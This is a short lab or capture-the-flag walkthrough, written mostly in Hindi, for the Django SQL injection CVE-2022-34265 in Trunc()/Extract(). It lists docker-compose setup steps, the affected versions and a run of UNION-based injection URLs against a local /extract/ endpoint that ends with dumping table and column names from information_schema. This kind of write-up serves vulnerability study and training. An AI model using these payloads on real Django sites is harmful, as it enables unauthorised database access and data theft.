
Django 3.2 के 3.2.14 से पहले और 4.0 के 4.0.6 से पहले के संस्करणों में एक समस्या पाई गई। यदि अविश्वसनीय डेटा को kind/lookup_name मान के रूप में उपयोग किया जाता है, तो Trunc() और Extract() डेटाबेस फ़ंक्शन SQL इंजेक्शन के प्रति संवेदनशील हैं। जो एप्लिकेशन lookup name और kind के चयन को किसी ज्ञात सुरक्षित सूची तक सीमित रखते हैं, वे प्रभावित नहीं होते हैं।
git clone https://github.com/coco0x0a/CTF_CVE-2022-34265
cd CVE-2022-34265
sudo docker-compose up -d
sudo docker ps
sudo docker-compose down
Django>= 3.2, < 3.2.14
Django >= 4.0, < 4.0.6
Django 3.2.14
Django 4.0.6
UNION का उपयोग करते हुए
http://127.0.0.1:8000/extract/?lookup_name=year%20FROM%20start_datetime))%20OR%201=1%20UNION%20SELECT%201--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, 2, 3, 4, 5, 6, 7--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT "TEST", now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT CONCAT(table_name, '~', column_name), now(), now(), now(), now(), now(), now() FROM information_schema.columns--

https://github.com/aeyesec/CVE-2022-34265
https://github.com/ZhaoQi99/CVE-2022-34265
https://github.com/suksit/writeups/tree/main/secplayground/half-year-event-2022